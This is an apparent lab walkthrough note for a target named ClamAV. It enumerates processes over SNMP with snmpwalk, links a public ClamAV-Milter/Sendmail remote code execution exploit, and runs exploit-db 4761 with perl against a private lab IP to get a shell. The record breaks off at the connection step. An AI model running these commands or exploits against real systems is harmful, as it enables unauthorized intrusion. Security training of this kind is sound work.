Clam AV

80

Found a website with binary code: Challenge accepted \

UDP 161

Checking snmp we can find running processes:

snmpwalk -c public -v1 -t 10 192.168.180.42 1.3.6.1.2.1.25.4.2.1.2

Now using this exploit for sendtmail and clamdv: https://github.com/0x1sac/ClamAV-Milter-Sendmail-0.91.2-Remote-Code-Execution/blob/main/exploit.c

Testing with ping we get receive packets:

Now we can use a different exploit to get a shell https://www.exploit-db.com/exploits/4761

perl 4761.pl 192.168.180.42

Then connect to it: